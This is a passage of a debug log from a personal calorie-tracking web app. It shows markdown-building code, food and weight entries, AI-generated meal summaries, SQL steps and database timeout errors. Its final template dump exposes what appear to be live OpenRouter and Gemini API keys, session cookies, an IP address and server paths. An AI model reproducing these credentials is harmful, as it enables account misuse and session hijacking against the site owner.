    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T08:31:02.422Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '\n'
2025-12-18T08:31:02.422Z server-connect:app Executing action step run
2025-12-18T08:31:02.422Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T08:31:02.423Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T08:31:02.423Z server-connect:app Executing action step setvalue
2025-12-18T08:31:02.423Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T08:31:02.424Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 436 | Baingan Sabji | 105 | 2 | 13 | 5 | 1 serving (approx. 150g) |\n' +
  '| 437 | Roti | 368 | 4 | 23 | 2 | 3.5 |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T08:31:02.424Z server-connect:app Executing action step processWithGemini
2025-12-18T08:31:02.424Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T08:31:03.639Z server-connect:output health_summary: {
  summary: "The day's nutrition shows a good focus on protein intake, particularly with the inclusion of whey protein, which supports muscle development goals. Meal composition appears balanced with vegetables and carbohydrates. Consistent early morning gym sessions are a strong positive for recovery and fat loss. Overall, the routine aligns well with the stated objectives.",
  rating: 8,
  good_points: [
    'Inclusion of whey protein for muscle support.',
    'Presence of vegetables in the meal.',
    'Consistent early morning gym attendance.'
  ],
  bad_points: [
    'The snack item might be high in carbohydrates and fats.',
    'Milk tea could be a source of added sugars.'
  ],
  suggestions: [
    'Consider a protein-rich snack option.',
    'Hydrate adequately throughout the day.',
    'Ensure meals are spaced appropriately to support energy levels.'
  ],
  predicted_weight_trend: 'steady loss',
  predicted_weight: 70.1
}
2025-12-18T08:31:03.639Z server-connect:app Executing action step condition
2025-12-18T08:31:03.639Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T08:31:03.639Z server-connect:app Executing action step delete
2025-12-18T08:31:03.639Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T08:31:03.641Z server-connect:output delete: { affected: 1 }
2025-12-18T08:31:03.641Z server-connect:app Executing action step insert
2025-12-18T08:31:03.641Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T08:31:03.642Z server-connect:output insert: { affected: 1, identity: 34 }
2025-12-18T08:31:03.642Z server-connect:output condition: undefined
2025-12-18T08:31:03.952Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T08:31:03.952Z server-connect:app Executing action step identify
2025-12-18T08:31:03.952Z server-connect:app options: { provider: 'security' }
2025-12-18T08:31:03.952Z server-connect:output identity: 1
2025-12-18T08:31:03.952Z server-connect:app Executing action step restrict
2025-12-18T08:31:03.952Z server-connect:app options: { provider: 'security' }
2025-12-18T08:31:03.952Z server-connect:output restrict: undefined
2025-12-18T08:31:03.952Z server-connect:app Executing action step single
2025-12-18T08:31:03.952Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T08:31:03.953Z server-connect:output summary: {
  summary: {
    rating: 8,
    summary: "The day's nutrition shows a good focus on protein intake, particularly with the inclusion of whey protein, which supports muscle development goals. Meal composition appears balanced with vegetables and carbohydrates. Consistent early morning gym sessions are a strong positive for recovery and fat loss. Overall, the routine aligns well with the stated objectives.",
    bad_points: [
      'The snack item might be high in carbohydrates and fats.',
      'Milk tea could be a source of added sugars.'
    ],
    good_points: [
      'Inclusion of whey protein for muscle support.',
      'Presence of vegetables in the meal.',
      'Consistent early morning gym attendance.'
    ],
    suggestions: [
      'Consider a protein-rich snack option.',
      'Hydrate adequately throughout the day.',
      'Ensure meals are spaced appropriately to support energy levels.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'steady loss'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T08:31:30.792Z server-connect:app Executing action step identify
2025-12-18T08:31:30.792Z server-connect:app options: { provider: 'security' }
2025-12-18T08:31:30.792Z server-connect:output identity: 1
2025-12-18T08:32:52.229Z server-connect:app Executing action step identify
2025-12-18T08:32:52.229Z server-connect:app options: { provider: 'security' }
2025-12-18T08:32:52.229Z server-connect:output identity: 1
2025-12-18T08:32:54.367Z server-connect:app Executing action step identify
2025-12-18T08:32:54.367Z server-connect:app options: { provider: 'security' }
2025-12-18T08:32:54.367Z server-connect:output identity: 1
2025-12-18T08:33:48.895Z server-connect:app Executing action step identify
2025-12-18T08:33:48.895Z server-connect:app options: { provider: 'security' }
2025-12-18T08:33:48.895Z server-connect:output identity: 1
2025-12-18T08:33:50.965Z server-connect:app Executing action step identify
2025-12-18T08:33:50.965Z server-connect:app options: { provider: 'security' }
2025-12-18T08:33:50.966Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 08:42:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 08:42:09' as DATETIME)"
}
2025-12-18T08:54:54.236Z server-connect:app Executing action step identify
2025-12-18T08:54:54.236Z server-connect:app options: { provider: 'security' }
2025-12-18T08:54:54.236Z server-connect:output identity: 1
2025-12-18T08:54:57.435Z server-connect:app Executing action step identify
2025-12-18T08:54:57.435Z server-connect:app options: { provider: 'security' }
2025-12-18T08:54:57.435Z server-connect:output identity: 1
2025-12-18T08:58:04.143Z server-connect:app Executing action step identify
2025-12-18T08:58:04.143Z server-connect:app options: { provider: 'security' }
2025-12-18T08:58:04.143Z server-connect:output identity: 1
2025-12-18T08:58:06.678Z server-connect:app Executing action step identify
2025-12-18T08:58:06.678Z server-connect:app options: { provider: 'security' }
2025-12-18T08:58:06.678Z server-connect:output identity: 1
2025-12-18T09:27:53.240Z server-connect:app Executing action step identify
2025-12-18T09:27:53.240Z server-connect:app options: { provider: 'security' }
2025-12-18T09:27:53.240Z server-connect:output identity: 1
2025-12-18T09:27:55.425Z server-connect:app Executing action step identify
2025-12-18T09:27:55.425Z server-connect:app options: { provider: 'security' }
2025-12-18T09:27:55.425Z server-connect:output identity: 1
2025-12-18T09:31:09.215Z server-connect:app Executing action step identify
2025-12-18T09:31:09.215Z server-connect:app options: { provider: 'security' }
2025-12-18T09:31:09.215Z server-connect:output identity: 1
2025-12-18T09:31:11.417Z server-connect:app Executing action step identify
2025-12-18T09:31:11.417Z server-connect:app options: { provider: 'security' }
2025-12-18T09:31:11.417Z server-connect:output identity: 1
2025-12-18T09:31:40.771Z server-connect:app Executing action step identify
2025-12-18T09:31:40.771Z server-connect:app options: { provider: 'security' }
2025-12-18T09:31:40.771Z server-connect:output identity: 1
2025-12-18T09:31:43.572Z server-connect:app Executing action step identify
2025-12-18T09:31:43.572Z server-connect:app options: { provider: 'security' }
2025-12-18T09:31:43.572Z server-connect:output identity: 1
2025-12-18T09:34:16.774Z server-connect:app Executing action step identify
2025-12-18T09:34:16.774Z server-connect:app options: { provider: 'security' }
2025-12-18T09:34:16.775Z server-connect:output identity: 1
2025-12-18T09:34:19.667Z server-connect:app Executing action step identify
2025-12-18T09:34:19.667Z server-connect:app options: { provider: 'security' }
2025-12-18T09:34:19.667Z server-connect:output identity: 1
2025-12-18T09:43:46.228Z server-connect:app Executing action step identify
2025-12-18T09:43:46.228Z server-connect:app options: { provider: 'security' }
2025-12-18T09:43:46.228Z server-connect:output identity: 1
2025-12-18T09:43:49.408Z server-connect:app Executing action step identify
2025-12-18T09:43:49.408Z server-connect:app options: { provider: 'security' }
2025-12-18T09:43:49.408Z server-connect:output identity: 1
2025-12-18T09:56:15.240Z server-connect:app Executing action step identify
2025-12-18T09:56:15.240Z server-connect:app options: { provider: 'security' }
2025-12-18T09:56:15.241Z server-connect:output identity: 1
2025-12-18T09:56:18.694Z server-connect:app Executing action step identify
2025-12-18T09:56:18.694Z server-connect:app options: { provider: 'security' }
2025-12-18T09:56:18.694Z server-connect:output identity: 1
2025-12-18T10:04:44.691Z server-connect:app Executing action step identify
2025-12-18T10:04:44.691Z server-connect:app options: { provider: 'security' }
2025-12-18T10:04:44.691Z server-connect:output identity: 1
2025-12-18T10:04:47.749Z server-connect:app Executing action step identify
2025-12-18T10:04:47.749Z server-connect:app options: { provider: 'security' }
2025-12-18T10:04:47.749Z server-connect:output identity: 1
2025-12-18T10:06:02.593Z server-connect:app Executing action step identify
2025-12-18T10:06:02.593Z server-connect:app options: { provider: 'security' }
2025-12-18T10:06:02.593Z server-connect:output identity: 1
2025-12-18T10:06:05.609Z server-connect:app Executing action step identify
2025-12-18T10:06:05.609Z server-connect:app options: { provider: 'security' }
2025-12-18T10:06:05.609Z server-connect:output identity: 1
2025-12-18T10:13:22.226Z server-connect:app Executing action step identify
2025-12-18T10:13:22.227Z server-connect:app options: { provider: 'security' }
2025-12-18T10:13:22.227Z server-connect:output identity: 1
2025-12-18T10:13:24.603Z server-connect:app Executing action step identify
2025-12-18T10:13:24.603Z server-connect:app options: { provider: 'security' }
2025-12-18T10:13:24.603Z server-connect:output identity: 1
2025-12-18T10:19:53.229Z server-connect:app Executing action step identify
2025-12-18T10:19:53.229Z server-connect:app options: { provider: 'security' }
2025-12-18T10:19:53.230Z server-connect:output identity: 1
2025-12-18T10:19:55.409Z server-connect:app Executing action step identify
2025-12-18T10:19:55.409Z server-connect:app options: { provider: 'security' }
2025-12-18T10:19:55.409Z server-connect:output identity: 1
2025-12-18T10:26:24.226Z server-connect:app Executing action step identify
2025-12-18T10:26:24.226Z server-connect:app options: { provider: 'security' }
2025-12-18T10:26:24.226Z server-connect:output identity: 1
2025-12-18T10:26:26.701Z server-connect:app Executing action step identify
2025-12-18T10:26:26.701Z server-connect:app options: { provider: 'security' }
2025-12-18T10:26:26.701Z server-connect:output identity: 1
2025-12-18T10:28:14.878Z server-connect:app Executing action step identify
2025-12-18T10:28:14.878Z server-connect:app options: { provider: 'security' }
2025-12-18T10:28:14.878Z server-connect:output identity: 1
2025-12-18T10:28:16.418Z server-connect:app Executing action step identify
2025-12-18T10:28:16.418Z server-connect:app options: { provider: 'security' }
2025-12-18T10:28:16.418Z server-connect:output identity: 1
2025-12-18T10:36:56.238Z server-connect:app Executing action step identify
2025-12-18T10:36:56.238Z server-connect:app options: { provider: 'security' }
2025-12-18T10:36:56.238Z server-connect:output identity: 1
2025-12-18T10:36:58.706Z server-connect:app Executing action step identify
2025-12-18T10:36:58.706Z server-connect:app options: { provider: 'security' }
2025-12-18T10:36:58.706Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 10:49:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 10:49:09' as DATETIME)"
}
2025-12-18T10:49:34.511Z server-connect:app Executing action step identify
2025-12-18T10:49:34.511Z server-connect:app options: { provider: 'security' }
2025-12-18T10:49:34.511Z server-connect:output identity: 1
2025-12-18T10:49:36.396Z server-connect:app Executing action step identify
2025-12-18T10:49:36.396Z server-connect:app options: { provider: 'security' }
2025-12-18T10:49:36.397Z server-connect:output identity: 1
2025-12-18T11:05:58.769Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T11:05:58.769Z server-connect:app Executing action step identify
2025-12-18T11:05:58.769Z server-connect:app options: { provider: 'security' }
2025-12-18T11:05:58.769Z server-connect:output identity: 1
2025-12-18T11:05:58.769Z server-connect:app Executing action step restrict
2025-12-18T11:05:58.769Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T11:05:58.771Z server-connect:output restrict: undefined
2025-12-18T11:05:58.772Z server-connect:app Executing action step processWithGemini
2025-12-18T11:05:58.772Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T11:06:00.411Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk Tea (without sugar)',
      quantity: '1 cup (approx 240ml)',
      calories_consumed: 60,
      total_calories: 60,
      protein: 8,
      carbs: 12,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
    }
  ],
  total_macros: { protein: 8, carbs: 12, fat: 0, unit: 'g' }
}
2025-12-18T11:14:50.696Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T11:14:50.697Z server-connect:app Executing action step identify
2025-12-18T11:14:50.697Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:50.697Z server-connect:output identity: 1
2025-12-18T11:14:50.697Z server-connect:app Executing action step restrict
2025-12-18T11:14:50.697Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T11:14:50.699Z server-connect:output restrict: undefined
2025-12-18T11:14:50.699Z server-connect:app Executing action step condition
2025-12-18T11:14:50.699Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T11:14:50.699Z server-connect:app Executing action step repeat
2025-12-18T11:14:50.699Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T11:14:50.699Z server-connect:app Executing action step insert
2025-12-18T11:14:50.699Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T11:14:50.701Z server-connect:output calories: { affected: 1, identity: 438 }
2025-12-18T11:14:50.701Z server-connect:output repeat: [ {} ]
2025-12-18T11:14:50.701Z server-connect:output condition: undefined
2025-12-18T11:14:50.900Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T11:14:50.900Z server-connect:app Executing action step identify
2025-12-18T11:14:50.900Z server-connect:app options: { provider: 'security' }
2025-12-18T11:14:50.900Z server-connect:output identity: 1
2025-12-18T11:14:50.901Z server-connect:app Executing action step restrict
2025-12-18T11:14:50.901Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T11:14:50.901Z server-connect:output restrict: undefined
2025-12-18T11:14:50.901Z server-connect:router Render template layouts/main
2025-12-18T11:14:50.902Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
